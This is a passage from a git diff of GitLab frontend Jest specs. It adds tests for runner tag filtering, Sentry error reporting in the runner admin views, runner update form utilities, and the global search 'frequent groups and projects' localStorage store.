expect(createFlash).toHaveBeenLastCalledWith({
- message: 'A value is invalid',
+ message: mockErrorMsg,
});
+ expect(captureException).not.toHaveBeenCalled();
expect(findSubmitDisabledAttr()).toBeUndefined();
});
});
diff --git a/spec/frontend/runner/components/search_tokens/tag_token_spec.js b/spec/frontend/runner/components/search_tokens/tag_token_spec.js
new file mode 100644
index 00000000000..52b87542243
--- /dev/null
+++ b/spec/frontend/runner/components/search_tokens/tag_token_spec.js
@@ -0,0 +1,188 @@
+import { GlFilteredSearchSuggestion, GlLoadingIcon, GlToken } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import MockAdapter from 'axios-mock-adapter';
+import { nextTick } from 'vue';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+
+import TagToken, { TAG_SUGGESTIONS_PATH } from '~/runner/components/search_tokens/tag_token.vue';
+import { OPERATOR_IS_ONLY } from '~/vue_shared/components/filtered_search_bar/constants';
+import { getRecentlyUsedSuggestions } from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
+
+jest.mock('~/flash');
+
+jest.mock('~/vue_shared/components/filtered_search_bar/filtered_search_utils', () => ({
+ ...jest.requireActual('~/vue_shared/components/filtered_search_bar/filtered_search_utils'),
+ getRecentlyUsedSuggestions: jest.fn(),
+}));
+
+const mockStorageKey = 'stored-recent-tags';
+
+const mockTags = [
+ { id: 1, name: 'linux' },
+ { id: 2, name: 'windows' },
+ { id: 3, name: 'mac' },
+];
+
+const mockTagsFiltered = [mockTags[0]];
+
+const mockSearchTerm = mockTags[0].name;
+
+const GlFilteredSearchTokenStub = {
+ template: `<div>
+ <slot name="view-token"></slot>
+ <slot name="suggestions"></slot>
+ </div>`,
+};
+
+const mockTagTokenConfig = {
+ icon: 'tag',
+ title: 'Tags',
+ type: 'tag',
+ token: TagToken,
+ recentTokenValuesStorageKey: mockStorageKey,
+ operators: OPERATOR_IS_ONLY,
+};
+
+describe('TagToken', () => {
+ let mock;
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = mount(TagToken, {
+ propsData: {
+ config: mockTagTokenConfig,
+ value: { data: '' },
+ active: false,
+ ...props,
+ },
+ provide: {
+ portalName: 'fake target',
+ alignSuggestions: function fakeAlignSuggestions() {},
+ filteredSearchSuggestionListInstance: {
+ register: jest.fn(),
+ unregister: jest.fn(),
+ },
+ },
+ stubs: {
+ GlFilteredSearchToken: GlFilteredSearchTokenStub,
+ },
+ });
+ };
+
+ const findGlFilteredSearchSuggestions = () =>
+ wrapper.findAllComponents(GlFilteredSearchSuggestion);
+ const findGlFilteredSearchToken = () => wrapper.findComponent(GlFilteredSearchTokenStub);
+ const findToken = () => wrapper.findComponent(GlToken);
+ const findGlLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+
+ beforeEach(async () => {
+ mock = new MockAdapter(axios);
+
+ mock.onGet(TAG_SUGGESTIONS_PATH, { params: { search: '' } }).reply(200, mockTags);
+ mock
+ .onGet(TAG_SUGGESTIONS_PATH, { params: { search: mockSearchTerm } })
+ .reply(200, mockTagsFiltered);
+
+ getRecentlyUsedSuggestions.mockReturnValue([]);
+
+ createComponent();
+ await waitForPromises();
+ });
+
+ afterEach(() => {
+ getRecentlyUsedSuggestions.mockReset();
+ wrapper.destroy();
+ });
+
+ describe('when the tags token is displayed', () => {
+ it('requests tags suggestions', () => {
+ expect(mock.history.get[0].params).toEqual({ search: '' });
+ });
+
+ it('displays tags suggestions', () => {
+ mockTags.forEach(({ name }, i) => {
+ expect(findGlFilteredSearchSuggestions().at(i).text()).toBe(name);
+ });
+ });
+ });
+
+ describe('when suggestions are stored', () => {
+ const storedSuggestions = [{ id: 4, value: 'docker', text: 'docker' }];
+
+ beforeEach(async () => {
+ getRecentlyUsedSuggestions.mockReturnValue(storedSuggestions);
+
+ createComponent();
+ await waitForPromises();
+ });
+
+ it('suggestions are loaded from a correct key', () => {
+ expect(getRecentlyUsedSuggestions).toHaveBeenCalledWith(mockStorageKey);
+ });
+
+ it('displays stored tags suggestions', () => {
+ expect(findGlFilteredSearchSuggestions()).toHaveLength(
+ mockTags.length + storedSuggestions.length,
+ );
+
+ expect(findGlFilteredSearchSuggestions().at(0).text()).toBe(storedSuggestions[0].text);
+ });
+ });
+
+ describe('when the users filters suggestions', () => {
+ beforeEach(async () => {
+ findGlFilteredSearchToken().vm.$emit('input', { data: mockSearchTerm });
+
+ jest.runAllTimers();
+ });
+
+ it('requests filtered tags suggestions', async () => {
+ await waitForPromises();
+
+ expect(mock.history.get[1].params).toEqual({ search: mockSearchTerm });
+ });
+
+ it('shows the loading icon', async () => {
+ await nextTick();
+
+ expect(findGlLoadingIcon().exists()).toBe(true);
+ });
+
+ it('displays filtered tags suggestions', async () => {
+ await waitForPromises();
+
+ expect(findGlFilteredSearchSuggestions()).toHaveLength(mockTagsFiltered.length);
+
+ expect(findGlFilteredSearchSuggestions().at(0).text()).toBe(mockTagsFiltered[0].name);
+ });
+ });
+
+ describe('when suggestions cannot be loaded', () => {
+ beforeEach(async () => {
+ mock.onGet(TAG_SUGGESTIONS_PATH, { params: { search: '' } }).reply(500);
+
+ createComponent();
+ await waitForPromises();
+ });
+
+ it('error is shown', async () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalledWith({ message: expect.any(String) });
+ });
+ });
+
+ describe('when the user selects a value', () => {
+ beforeEach(async () => {
+ createComponent({ value: { data: mockTags[0].name } });
+ findGlFilteredSearchToken().vm.$emit('select');
+
+ await waitForPromises();
+ });
+
+ it('selected tag is displayed', async () => {
+ expect(findToken().exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/runner/runner_detail/runner_details_app_spec.js b/spec/frontend/runner/runner_detail/runner_details_app_spec.js
index d0bd701458d..1a1428e8cb1 100644
--- a/spec/frontend/runner/runner_detail/runner_details_app_spec.js
+++ b/spec/frontend/runner/runner_detail/runner_details_app_spec.js
@@ -2,14 +2,19 @@ import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import RunnerTypeBadge from '~/runner/components/runner_type_badge.vue';
import getRunnerQuery from '~/runner/graphql/get_runner.query.graphql';
import RunnerDetailsApp from '~/runner/runner_details/runner_details_app.vue';
+import { captureException } from '~/runner/sentry_utils';
import { runnerData } from '../mock_data';
+jest.mock('~/flash');
+jest.mock('~/runner/sentry_utils');
+
const mockRunnerGraphqlId = runnerData.data.runner.id;
const mockRunnerId = `${getIdFromGraphQLId(mockRunnerGraphqlId)}`;
@@ -23,11 +28,9 @@ describe('RunnerDetailsApp', () => {
const findRunnerTypeBadge = () => wrapper.findComponent(RunnerTypeBadge);
const createComponentWithApollo = ({ props = {}, mountFn = shallowMount } = {}) => {
- const handlers = [[getRunnerQuery, mockRunnerQuery]];
-
wrapper = mountFn(RunnerDetailsApp, {
localVue,
- apolloProvider: createMockApollo(handlers),
+ apolloProvider: createMockApollo([[getRunnerQuery, mockRunnerQuery]]),
propsData: {
runnerId: mockRunnerId,
...props,
@@ -63,4 +66,22 @@ describe('RunnerDetailsApp', () => {
expect(findRunnerTypeBadge().text()).toBe('shared');
});
+
+ describe('When there is an error', () => {
+ beforeEach(async () => {
+ mockRunnerQuery = jest.fn().mockRejectedValueOnce(new Error('Error!'));
+ await createComponentWithApollo();
+ });
+
+ it('error is reported to sentry', async () => {
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error('Network error: Error!'),
+ component: 'RunnerDetailsApp',
+ });
+ });
+
+ it('error is shown to the user', async () => {
+ expect(createFlash).toHaveBeenCalled();
+ });
+ });
});
diff --git a/spec/frontend/runner/runner_detail/runner_update_form_utils_spec.js b/spec/frontend/runner/runner_detail/runner_update_form_utils_spec.js
new file mode 100644
index 00000000000..510b4e604ac
--- /dev/null
+++ b/spec/frontend/runner/runner_detail/runner_update_form_utils_spec.js
@@ -0,0 +1,96 @@
+import { ACCESS_LEVEL_NOT_PROTECTED } from '~/runner/constants';
+import {
+ modelToUpdateMutationVariables,
+ runnerToModel,
+} from '~/runner/runner_details/runner_update_form_utils';
+
+const mockId = 'gid://gitlab/Ci::Runner/1';
+const mockDescription = 'Runner Desc.';
+
+const mockRunner = {
+ id: mockId,
+ description: mockDescription,
+ maximumTimeout: 100,
+ accessLevel: ACCESS_LEVEL_NOT_PROTECTED,
+ active: true,
+ locked: true,
+ runUntagged: true,
+ tagList: ['tag-1', 'tag-2'],
+};
+
+const mockModel = {
+ ...mockRunner,
+ tagList: 'tag-1, tag-2',
+};
+
+describe('~/runner/runner_details/runner_update_form_utils', () => {
+ describe('runnerToModel', () => {
+ it('collects all model data', () => {
+ expect(runnerToModel(mockRunner)).toEqual(mockModel);
+ });
+
+ it('does not collect other data', () => {
+ const model = runnerToModel({
+ ...mockRunner,
+ unrelated: 'unrelatedValue',
+ });
+
+ expect(model.unrelated).toEqual(undefined);
+ });
+
+ it('tag list defaults to an empty string', () => {
+ const model = runnerToModel({
+ ...mockRunner,
+ tagList: undefined,
+ });
+
+ expect(model.tagList).toEqual('');
+ });
+ });
+
+ describe('modelToUpdateMutationVariables', () => {
+ it('collects all model data', () => {
+ expect(modelToUpdateMutationVariables(mockModel)).toEqual({
+ input: {
+ ...mockRunner,
+ },
+ });
+ });
+
+ it('collects a nullable timeout from the model', () => {
+ const variables = modelToUpdateMutationVariables({
+ ...mockModel,
+ maximumTimeout: '',
+ });
+
+ expect(variables).toEqual({
+ input: {
+ ...mockRunner,
+ maximumTimeout: null,
+ },
+ });
+ });
+
+ it.each`
+ tagList | tagListInput
+ ${''} | ${[]}
+ ${'tag1, tag2'} | ${['tag1', 'tag2']}
+ ${'with spaces'} | ${['with spaces']}
+ ${',,,,, commas'} | ${['commas']}
+ ${'more ,,,,, commas'} | ${['more', 'commas']}
+ ${' trimmed , trimmed2 '} | ${['trimmed', 'trimmed2']}
+ `('collect tags separated by commas for "$value"', ({ tagList, tagListInput }) => {
+ const variables = modelToUpdateMutationVariables({
+ ...mockModel,
+ tagList,
+ });
+
+ expect(variables).toEqual({
+ input: {
+ ...mockRunner,
+ tagList: tagListInput,
+ },
+ });
+ });
+ });
+});
diff --git a/spec/frontend/runner/runner_list/runner_list_app_spec.js b/spec/frontend/runner/runner_list/runner_list_app_spec.js
index dd913df7143..54b7d1f1bdb 100644
--- a/spec/frontend/runner/runner_list/runner_list_app_spec.js
+++ b/spec/frontend/runner/runner_list/runner_list_app_spec.js
@@ -1,9 +1,9 @@
-import * as Sentry from '@sentry/browser';
import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
import { updateHistory } from '~/lib/utils/url_utility';
import RunnerFilteredSearchBar from '~/runner/components/runner_filtered_search_bar.vue';
@@ -23,13 +23,15 @@ import {
} from '~/runner/constants';
import getRunnersQuery from '~/runner/graphql/get_runners.query.graphql';
import RunnerListApp from '~/runner/runner_list/runner_list_app.vue';
+import { captureException } from '~/runner/sentry_utils';
import { runnersData, runnersDataPaginated } from '../mock_data';
const mockRegistrationToken = 'MOCK_REGISTRATION_TOKEN';
const mockActiveRunnersCount = 2;
-jest.mock('@sentry/browser');
+jest.mock('~/flash');
+jest.mock('~/runner/sentry_utils');
jest.mock('~/lib/utils/url_utility', () => ({
...jest.requireActual('~/lib/utils/url_utility'),
updateHistory: jest.fn(),
@@ -64,7 +66,7 @@ describe('RunnerListApp', () => {
};
const setQuery = (query) => {
- window.location.href = `${TEST_HOST}/admin/runners/${query}`;
+ window.location.href = `${TEST_HOST}/admin/runners?${query}`;
window.location.search = query;
};
@@ -80,11 +82,6 @@ describe('RunnerListApp', () => {
beforeEach(async () => {
setQuery('');
- Sentry.withScope.mockImplementation((fn) => {
- const scope = { setTag: jest.fn() };
- fn(scope);
- });
-
mockRunnersQuery = jest.fn().mockResolvedValue(runnersData);
createComponentWithApollo();
await waitForPromises();
@@ -119,7 +116,7 @@ describe('RunnerListApp', () => {
describe('when a filter is preselected', () => {
beforeEach(async () => {
- window.location.search = `?status[]=${STATUS_ACTIVE}&runner_type[]=${INSTANCE_TYPE}`;
+ setQuery(`?status[]=${STATUS_ACTIVE}&runner_type[]=${INSTANCE_TYPE}&tag[]=tag1`);
createComponentWithApollo();
await waitForPromises();
@@ -130,6 +127,7 @@ describe('RunnerListApp', () => {
filters: [
{ type: 'status', value: { data: STATUS_ACTIVE, operator: '=' } },
{ type: 'runner_type', value: { data: INSTANCE_TYPE, operator: '=' } },
+ { type: 'tag', value: { data: 'tag1', operator: '=' } },
],
sort: 'CREATED_DESC',
pagination: { page: 1 },
@@ -140,6 +138,7 @@ describe('RunnerListApp', () => {
expect(mockRunnersQuery).toHaveBeenLastCalledWith({
status: STATUS_ACTIVE,
type: INSTANCE_TYPE,
+ tagList: ['tag1'],
sort: DEFAULT_SORT,
first: RUNNER_PAGE_SIZE,
});
@@ -157,7 +156,7 @@ describe('RunnerListApp', () => {
it('updates the browser url', () => {
expect(updateHistory).toHaveBeenLastCalledWith({
title: expect.any(String),
- url: 'http://test.host/admin/runners/?status[]=ACTIVE&sort=CREATED_ASC',
+ url: 'http://test.host/admin/runners?status[]=ACTIVE&sort=CREATED_ASC',
});
});
@@ -189,15 +188,21 @@ describe('RunnerListApp', () => {
describe('when runners query fails', () => {
beforeEach(async () => {
- mockRunnersQuery = jest.fn().mockRejectedValue(new Error());
+ mockRunnersQuery = jest.fn().mockRejectedValue(new Error('Error!'));
createComponentWithApollo();
await waitForPromises();
});
it('error is reported to sentry', async () => {
- expect(Sentry.withScope).toHaveBeenCalled();
- expect(Sentry.captureException).toHaveBeenCalled();
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error('Network error: Error!'),
+ component: 'RunnerListApp',
+ });
+ });
+
+ it('error is shown to the user', async () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
});
});
diff --git a/spec/frontend/runner/runner_list/runner_search_utils_spec.js b/spec/frontend/runner/runner_list/runner_search_utils_spec.js
index a1f33e9c880..e7969676549 100644
--- a/spec/frontend/runner/runner_list/runner_search_utils_spec.js
+++ b/spec/frontend/runner/runner_list/runner_search_utils_spec.js
@@ -99,6 +99,37 @@ describe('search_params.js', () => {
},
},
{
+ name: 'a tag',
+ urlQuery: '?tag[]=tag-1',
+ search: {
+ filters: [{ type: 'tag', value: { data: 'tag-1', operator: '=' } }],
+ pagination: { page: 1 },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: {
+ tagList: ['tag-1'],
+ first: 20,
+ sort: 'CREATED_DESC',
+ },
+ },
+ {
+ name: 'two tags',
+ urlQuery: '?tag[]=tag-1&tag[]=tag-2',
+ search: {
+ filters: [
+ { type: 'tag', value: { data: 'tag-1', operator: '=' } },
+ { type: 'tag', value: { data: 'tag-2', operator: '=' } },
+ ],
+ pagination: { page: 1 },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: {
+ tagList: ['tag-1', 'tag-2'],
+ first: 20,
+ sort: 'CREATED_DESC',
+ },
+ },
+ {
name: 'the next page',
urlQuery: '?page=2&after=AFTER_CURSOR',
search: { filters: [], pagination: { page: 2, after: 'AFTER_CURSOR' }, sort: 'CREATED_DESC' },
@@ -115,14 +146,15 @@ describe('search_params.js', () => {
graphqlVariables: { sort: 'CREATED_DESC', before: 'BEFORE_CURSOR', last: RUNNER_PAGE_SIZE },
},
{
- name:
- 'the next page filtered by multiple status, a single instance type and a non default sort',
+ name: 'the next page filtered by a status, an instance type, tags and a non default sort',
urlQuery:
- '?status[]=ACTIVE&runner_type[]=INSTANCE_TYPE&sort=CREATED_ASC&page=2&after=AFTER_CURSOR',
+ '?status[]=ACTIVE&runner_type[]=INSTANCE_TYPE&tag[]=tag-1&tag[]=tag-2&sort=CREATED_ASC&page=2&after=AFTER_CURSOR',
search: {
filters: [
{ type: 'status', value: { data: 'ACTIVE', operator: '=' } },
{ type: 'runner_type', value: { data: 'INSTANCE_TYPE', operator: '=' } },
+ { type: 'tag', value: { data: 'tag-1', operator: '=' } },
+ { type: 'tag', value: { data: 'tag-2', operator: '=' } },
],
pagination: { page: 2, after: 'AFTER_CURSOR' },
sort: 'CREATED_ASC',
@@ -130,6 +162,7 @@ describe('search_params.js', () => {
graphqlVariables: {
status: 'ACTIVE',
type: 'INSTANCE_TYPE',
+ tagList: ['tag-1', 'tag-2'],
sort: 'CREATED_ASC',
after: 'AFTER_CURSOR',
first: RUNNER_PAGE_SIZE,
diff --git a/spec/frontend/runner/sentry_utils_spec.js b/spec/frontend/runner/sentry_utils_spec.js
new file mode 100644
index 00000000000..b61eb63961e
--- /dev/null
+++ b/spec/frontend/runner/sentry_utils_spec.js
@@ -0,0 +1,39 @@
+import * as Sentry from '@sentry/browser';
+import { captureException } from '~/runner/sentry_utils';
+
+jest.mock('@sentry/browser');
+
+describe('~/runner/sentry_utils', () => {
+ let mockSetTag;
+
+ beforeEach(async () => {
+ mockSetTag = jest.fn();
+
+ Sentry.withScope.mockImplementation((fn) => {
+ const scope = { setTag: mockSetTag };
+ fn(scope);
+ });
+ });
+
+ describe('captureException', () => {
+ const mockError = new Error('Something went wrong!');
+
+ it('error is reported to sentry', () => {
+ captureException({ error: mockError });
+
+ expect(Sentry.withScope).toHaveBeenCalled();
+ expect(Sentry.captureException).toHaveBeenCalledWith(mockError);
+ });
+
+ it('error is reported to sentry with a component name', () => {
+ const mockComponentName = 'MyComponent';
+
+ captureException({ error: mockError, component: mockComponentName });
+
+ expect(Sentry.withScope).toHaveBeenCalled();
+ expect(Sentry.captureException).toHaveBeenCalledWith(mockError);
+
+ expect(mockSetTag).toHaveBeenCalledWith('vue_component', mockComponentName);
+ });
+ });
+});
diff --git a/spec/frontend/search/mock_data.js b/spec/frontend/search/mock_data.js
index fbe01f372b0..24ce45e8a09 100644
--- a/spec/frontend/search/mock_data.js
+++ b/spec/frontend/search/mock_data.js
@@ -1,3 +1,6 @@
+import { GROUPS_LOCAL_STORAGE_KEY, PROJECTS_LOCAL_STORAGE_KEY } from '~/search/store/constants';
+import * as types from '~/search/store/mutation_types';
+
export const MOCK_QUERY = {
scope: 'issues',
state: 'all',
@@ -6,45 +9,45 @@ export const MOCK_QUERY = {
};
export const MOCK_GROUP = {
+ id: 1,
name: 'test group',
full_name: 'full name / test group',
- id: 1,
};
export const MOCK_GROUPS = [
{
+ id: 1,
avatar_url: null,
name: 'test group',
full_name: 'full name / test group',
- id: 1,
},
{
+ id: 2,
avatar_url: 'https://avatar.com',
name: 'test group 2',
full_name: 'full name / test group 2',
- id: 2,
},
];
export const MOCK_PROJECT = {
+ id: 1,
name: 'test project',
namespace: MOCK_GROUP,
nameWithNamespace: 'test group / test project',
- id: 1,
};
export const MOCK_PROJECTS = [
{
+ id: 1,
name: 'test project',
namespace: MOCK_GROUP,
name_with_namespace: 'test group / test project',
- id: 1,
},
{
+ id: 2,
name: 'test project 2',
namespace: MOCK_GROUP,
name_with_namespace: 'test group / test project 2',
- id: 2,
},
];
@@ -63,3 +66,41 @@ export const MOCK_SORT_OPTIONS = [
},
},
];
+
+export const MOCK_LS_KEY = 'mock-ls-key';
+
+export const MOCK_INFLATED_DATA = [
+ { id: 1, name: 'test 1' },
+ { id: 2, name: 'test 2' },
+];
+
+export const FRESH_STORED_DATA = [
+ { id: 1, name: 'test 1', frequency: 1 },
+ { id: 2, name: 'test 2', frequency: 2 },
+];
+
+export const STALE_STORED_DATA = [
+ { id: 1, name: 'blah 1', frequency: 1 },
+ { id: 2, name: 'blah 2', frequency: 2 },
+];
+
+export const MOCK_FRESH_DATA_RES = { name: 'fresh' };
+
+export const PROMISE_ALL_EXPECTED_MUTATIONS = {
+ initGroups: {
+ type: types.LOAD_FREQUENT_ITEMS,
+ payload: { key: GROUPS_LOCAL_STORAGE_KEY, data: FRESH_STORED_DATA },
+ },
+ resGroups: {
+ type: types.LOAD_FREQUENT_ITEMS,
+ payload: { key: GROUPS_LOCAL_STORAGE_KEY, data: [MOCK_FRESH_DATA_RES, MOCK_FRESH_DATA_RES] },
+ },
+ initProjects: {
+ type: types.LOAD_FREQUENT_ITEMS,
+ payload: { key: PROJECTS_LOCAL_STORAGE_KEY, data: FRESH_STORED_DATA },
+ },
+ resProjects: {
+ type: types.LOAD_FREQUENT_ITEMS,
+ payload: { key: PROJECTS_LOCAL_STORAGE_KEY, data: [MOCK_FRESH_DATA_RES, MOCK_FRESH_DATA_RES] },
+ },
+};
diff --git a/spec/frontend/search/store/actions_spec.js b/spec/frontend/search/store/actions_spec.js
index 634661c5843..3755f8ffae7 100644
--- a/spec/frontend/search/store/actions_spec.js
+++ b/spec/frontend/search/store/actions_spec.js
@@ -5,9 +5,20 @@ import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as urlUtils from '~/lib/utils/url_utility';
import * as actions from '~/search/store/actions';
+import { GROUPS_LOCAL_STORAGE_KEY, PROJECTS_LOCAL_STORAGE_KEY } from '~/search/store/constants';
import * as types from '~/search/store/mutation_types';
import createState from '~/search/store/state';
-import { MOCK_QUERY, MOCK_GROUPS, MOCK_PROJECT, MOCK_PROJECTS } from '../mock_data';
+import * as storeUtils from '~/search/store/utils';
+import {
+ MOCK_QUERY,
+ MOCK_GROUPS,
+ MOCK_PROJECT,
+ MOCK_PROJECTS,
+ MOCK_GROUP,
+ FRESH_STORED_DATA,
+ MOCK_FRESH_DATA_RES,
+ PROMISE_ALL_EXPECTED_MUTATIONS,
+} from '../mock_data';
jest.mock('~/flash');
jest.mock('~/lib/utils/url_utility', () => ({
@@ -56,6 +67,46 @@ describe('Global Search Store Actions', () => {
});
});
+ describe.each`
+ action | axiosMock | type | expectedMutations | flashCallCount | lsKey
+ ${actions.loadFrequentGroups} | ${{ method: 'onGet', code: 200 }} | ${'success'} | ${[PROMISE_ALL_EXPECTED_MUTATIONS.initGroups, PROMISE_ALL_EXPECTED_MUTATIONS.resGroups]} | ${0} | ${GROUPS_LOCAL_STORAGE_KEY}
+ ${actions.loadFrequentGroups} | ${{ method: 'onGet', code: 500 }} | ${'error'} | ${[PROMISE_ALL_EXPECTED_MUTATIONS.initGroups]} | ${1} | ${GROUPS_LOCAL_STORAGE_KEY}
+ ${actions.loadFrequentProjects} | ${{ method: 'onGet', code: 200 }} | ${'success'} | ${[PROMISE_ALL_EXPECTED_MUTATIONS.initProjects, PROMISE_ALL_EXPECTED_MUTATIONS.resProjects]} | ${0} | ${PROJECTS_LOCAL_STORAGE_KEY}
+ ${actions.loadFrequentProjects} | ${{ method: 'onGet', code: 500 }} | ${'error'} | ${[PROMISE_ALL_EXPECTED_MUTATIONS.initProjects]} | ${1} | ${PROJECTS_LOCAL_STORAGE_KEY}
+ `(
+ 'Promise.all calls',
+ ({ action, axiosMock, type, expectedMutations, flashCallCount, lsKey }) => {
+ describe(action.name, () => {
+ describe(`on ${type}`, () => {
+ beforeEach(() => {
+ storeUtils.loadDataFromLS = jest.fn().mockReturnValue(FRESH_STORED_DATA);
+ mock[axiosMock.method]().reply(axiosMock.code, MOCK_FRESH_DATA_RES);
+ });
+
+ it(`should dispatch the correct mutations`, () => {
+ return testAction({ action, state, expectedMutations }).then(() => {
+ expect(storeUtils.loadDataFromLS).toHaveBeenCalledWith(lsKey);
+ flashCallback(flashCallCount);
+ });
+ });
+ });
+ });
+ },
+ );
+
+ describe('getGroupsData', () => {
+ const mockCommit = () => {};
+ beforeEach(() => {
+ jest.spyOn(Api, 'groups').mockResolvedValue(MOCK_GROUPS);
+ });
+
+ it('calls Api.groups with order_by set to similarity', () => {
+ actions.fetchGroups({ commit: mockCommit }, 'test');
+
+ expect(Api.groups).toHaveBeenCalledWith('test', { order_by: 'similarity' });
+ });
+ });
+
describe('getProjectsData', () => {
const mockCommit = () => {};
beforeEach(() => {
@@ -64,10 +115,19 @@ describe('Global Search Store Actions', () => {
});
describe('when groupId is set', () => {
- it('calls Api.groupProjects', () => {
+ it('calls Api.groupProjects with expected parameters', () => {
actions.fetchProjects({ commit: mockCommit, state });
- expect(Api.groupProjects).toHaveBeenCalled();
+ expect(Api.groupProjects).toHaveBeenCalledWith(
+ state.query.group_id,
+ state.query.search,
+ {
+ order_by: 'similarity',
+ include_subgroups: true,
+ with_shared: false,
+ },
+ expect.any(Function),
+ );
expect(Api.projects).not.toHaveBeenCalled();
});
});
@@ -121,4 +181,44 @@ describe('Global Search Store Actions', () => {
});
});
});
+
+ describe('setFrequentGroup', () => {
+ beforeEach(() => {
+ storeUtils.setFrequentItemToLS = jest.fn();
+ });
+
+ it(`calls setFrequentItemToLS with ${GROUPS_LOCAL_STORAGE_KEY} and item data`, async () => {
+ await testAction({
+ action: actions.setFrequentGroup,
+ payload: MOCK_GROUP,
+ state,
+ });
+
+ expect(storeUtils.setFrequentItemToLS).toHaveBeenCalledWith(
+ GROUPS_LOCAL_STORAGE_KEY,
+ state.frequentItems,
+ MOCK_GROUP,
+ );
+ });
+ });
+
+ describe('setFrequentProject', () => {
+ beforeEach(() => {
+ storeUtils.setFrequentItemToLS = jest.fn();
+ });
+
+ it(`calls setFrequentItemToLS with ${PROJECTS_LOCAL_STORAGE_KEY} and item data`, async () => {
+ await testAction({
+ action: actions.setFrequentProject,
+ payload: MOCK_PROJECT,
+ state,
+ });
+
+ expect(storeUtils.setFrequentItemToLS).toHaveBeenCalledWith(
+ PROJECTS_LOCAL_STORAGE_KEY,
+ state.frequentItems,
+ MOCK_PROJECT,
+ );
+ });
+ });
});
diff --git a/spec/frontend/search/store/getters_spec.js b/spec/frontend/search/store/getters_spec.js
new file mode 100644
index 00000000000..081e6a986eb
--- /dev/null
+++ b/spec/frontend/search/store/getters_spec.js
@@ -0,0 +1,32 @@
+import { GROUPS_LOCAL_STORAGE_KEY, PROJECTS_LOCAL_STORAGE_KEY } from '~/search/store/constants';
+import * as getters from '~/search/store/getters';
+import createState from '~/search/store/state';
+import { MOCK_QUERY, MOCK_GROUPS, MOCK_PROJECTS } from '../mock_data';
+
+describe('Global Search Store Getters', () => {
+ let state;
+
+ beforeEach(() => {
+ state = createState({ query: MOCK_QUERY });
+ });
+
+ describe('frequentGroups', () => {
+ beforeEach(() => {
+ state.frequentItems[GROUPS_LOCAL_STORAGE_KEY] = MOCK_GROUPS;
+ });
+
+ it('returns the correct data', () => {
+ expect(getters.frequentGroups(state)).toStrictEqual(MOCK_GROUPS);
+ });
+ });
+
+ describe('frequentProjects', () => {
+ beforeEach(() => {
+ state.frequentItems[PROJECTS_LOCAL_STORAGE_KEY] = MOCK_PROJECTS;
+ });
+
+ it('returns the correct data', () => {
+ expect(getters.frequentProjects(state)).toStrictEqual(MOCK_PROJECTS);
+ });
+ });
+});
diff --git a/spec/frontend/search/store/mutations_spec.js b/spec/frontend/search/store/mutations_spec.js
index df94ba40ff2..a60718a972d 100644
--- a/spec/frontend/search/store/mutations_spec.js
+++ b/spec/frontend/search/store/mutations_spec.js
@@ -71,4 +71,13 @@ describe('Global Search Store Mutations', () => {
expect(state.query[payload.key]).toBe(payload.value);
});
});
+
+ describe('LOAD_FREQUENT_ITEMS', () => {
+ it('sets frequentItems[key] to data', () => {
+ const payload = { key: 'test-key', data: [1, 2, 3] };
+ mutations[types.LOAD_FREQUENT_ITEMS](state, payload);
+
+ expect(state.frequentItems[payload.key]).toStrictEqual(payload.data);
+ });
+ });
});
diff --git a/spec/frontend/search/store/utils_spec.js b/spec/frontend/search/store/utils_spec.js
new file mode 100644
index 00000000000..5055fa2cc3d
--- /dev/null
+++ b/spec/frontend/search/store/utils_spec.js
@@ -0,0 +1,197 @@
+import { useLocalStorageSpy } from 'helpers/local_storage_helper';
+import { MAX_FREQUENCY } from '~/search/store/constants';
+import { loadDataFromLS, setFrequentItemToLS, mergeById } from '~/search/store/utils';
+import {
+ MOCK_LS_KEY,
+ MOCK_GROUPS,
+ MOCK_INFLATED_DATA,
+ FRESH_STORED_DATA,
+ STALE_STORED_DATA,
+} from '../mock_data';
+
+const PREV_TIME = new Date().getTime() - 1;
+const CURRENT_TIME = new Date().getTime();
+
+useLocalStorageSpy();
+jest.mock('~/lib/utils/accessor', () => ({
+ isLocalStorageAccessSafe: jest.fn().mockReturnValue(true),
+}));
+
+describe('Global Search Store Utils', () => {
+ afterEach(() => {
+ localStorage.clear();
+ });
+
+ describe('loadDataFromLS', () => {
+ let res;
+
+ describe('with valid data', () => {
+ beforeEach(() => {
+ localStorage.setItem(MOCK_LS_KEY, JSON.stringify(MOCK_GROUPS));
+ res = loadDataFromLS(MOCK_LS_KEY);
+ });
+
+ it('returns parsed array', () => {
+ expect(res).toStrictEqual(MOCK_GROUPS);
+ });
+ });
+
+ describe('with invalid data', () => {
+ beforeEach(() => {
+ localStorage.setItem(MOCK_LS_KEY, '[}');
+ res = loadDataFromLS(MOCK_LS_KEY);
+ });
+
+ it('wipes local storage and returns an empty array', () => {
+ expect(localStorage.removeItem).toHaveBeenCalledWith(MOCK_LS_KEY);
+ expect(res).toStrictEqual([]);
+ });
+ });
+ });
+
+ describe('setFrequentItemToLS', () => {
+ const frequentItems = {};
+
+ describe('with existing data', () => {
+ describe(`when frequency is less than ${MAX_FREQUENCY}`, () => {
+ beforeEach(() => {
+ frequentItems[MOCK_LS_KEY] = [{ ...MOCK_GROUPS[0], frequency: 1, lastUsed: PREV_TIME }];
+ setFrequentItemToLS(MOCK_LS_KEY, frequentItems, MOCK_GROUPS[0]);
+ });
+
